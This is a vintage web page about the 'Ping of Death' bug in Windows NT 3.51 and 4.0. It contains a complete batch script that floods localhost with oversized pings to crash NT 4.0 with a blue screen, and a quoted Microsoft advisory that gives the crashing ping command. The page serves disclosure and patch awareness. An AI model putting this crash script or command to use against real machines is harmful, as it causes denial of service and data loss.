Information for Windows NT

Rumour has it that the latest service pack for NT v4.0 (Service Pack 2) fixes this problem. Contact Microsoft for details.
Thanks to Mark Rejhon for this little gem. Finally, I think I have the right version of the script.

Well, Marks sent me loads of e-mail lately. The story is that, like NT 3.51, NT 4.0 seems to be quite happy on the receiving end of the Ping o' Death, but has trouble sending them. So NT owners, don't worry too much - you may be able to crash your own machine, but that's probably nothing new. Either way it's a bug, just not nearly as serious as it could have been. Anyway, Mark has sent me a new improved script (actually, several new improved scripts - but that's another story :-) which is better documented, shinier and sparklier then the previous version. So, suicidal NT owners, here is the script to blow your machines brains out. Enjoy! (The script can also be downloaded directly).


@echo off
cls
echo ------------------------------------------------------------------------------
echo IMPORTANT INFO:
echo.
echo This Ping of Death works best if you try to surf the Internet
echo at the same time.  Now I will try to start the web browser for
echo you right now.  If it does not start, please start one right now.
echo.
echo More info at http://www.sophist.demon.co.uk/ping/
echo Author of this batch file can be reached at [ag115@freenet.carleton.ca]
echo.
echo This crashes the author's NT 4.0 Service Pack 1 system reliably
echo and one other system.  A third system didn't work, though.
echo THIS SCRIPT PROBABLY DOES NOT CRASH SYSTEMS OTHER THAN THE ONE THIS RUNS ON!
echo.
echo Please flush your disk cache first to be on the safe side.
echo This is done by hitting Ctrl-Alt-Delete once then hiting Esc to return.
echo ------------------------------------------------------------------------------
echo.
echo Attempting to launch Web Browser, please wait...
start /high http://www.microsoft.com/
echo When a web browser is up, press any key to start Ping of Death on localhost.
pause
cls
echo ------------------------------------------------------------------------------
echo Now Initiating Ping of Death flood to localhost!
echo ------------------------------------------------------------------------------
echo.
echo This may take a few minutes, especially if you only have 16 or 32 MB.
echo Please wait until the prompt returns before you try to surf.
echo Forking Ping of Death processes...
REM Seems to work best with taskman loaded, for some weird reason.
start /high /min taskmgr.exe
for %%d in ( A B C D E F G H I J K L M N O P Q R ) do start /min ping -l 65527 -n 1000 localhost
cls
echo ------------------------------------------------------------------------------
echo READY TO CRASH WITHIN THE HOUR!
echo.
echo Ping of Death in now in progress...Surf and Die - pun intended. ;-)
echo You should see the blue screen with a STOP error soon.
echo.
echo You may surf now.  Remember, it may take 10 mins to crash. Or less. Or more.
echo And not all NT 4.0 systems will crash with this script.
echo You could try launching TaskMgr and a few small apps to expedite the crash.
echo ------------------------------------------------------------------------------


This came from Pedro A M Vasquez, who has crashed a machine running NT 3.5.1. Microsoft don't seem to think a crash is possible, but as it can pop up a funny message on the display when you send a giant ping, they have released a patch.

I have no idea if this patch fixes the problem of being able to send an invalid packet. Let me know if it does...


STOP Msg: 0x0000000A or 0x0000001E When Using PING

Article ID: Q132470 
Creation Date: 27-JUL-1995
Revision Date: 14-SEP-1995 

The information in this article applies to: 
Microsoft Windows NT Workstation version 3.51
Microsoft Windows NT Server version 3.51 

SYMPTOMS

When you use PING similar to "PING -l 65527 -s 1 "
(without quotes) in
Windows NT 3.51, the target computer stops responding (hangs) and one of
the following STOP messages may appear on your computer: 

STOP: 0X0000001E
KMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS

-OR-

STOP: 0x0000000A
IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS

RESOLUTION 

To correct this problem, install the latest U.S. Service Pack for
Windows NT version 3.51. 

STATUS 

Microsoft has confirmed this to be a problem in Windows NT version 3.51.
This problem has been corrected in the latest U.S. Service Pack for
Windows NT version 3.51. For information on obtaining the Service Pack,
query on the following word in the Microsoft Knowledge Base (without the
spaces): 

S E R V P A C K

     THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
     PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
     ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
     OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT
     SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR ANY
     DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
     CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
     MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
     POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
     OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO
     THE FOREGOING LIMITATION MAY NOT APPLY.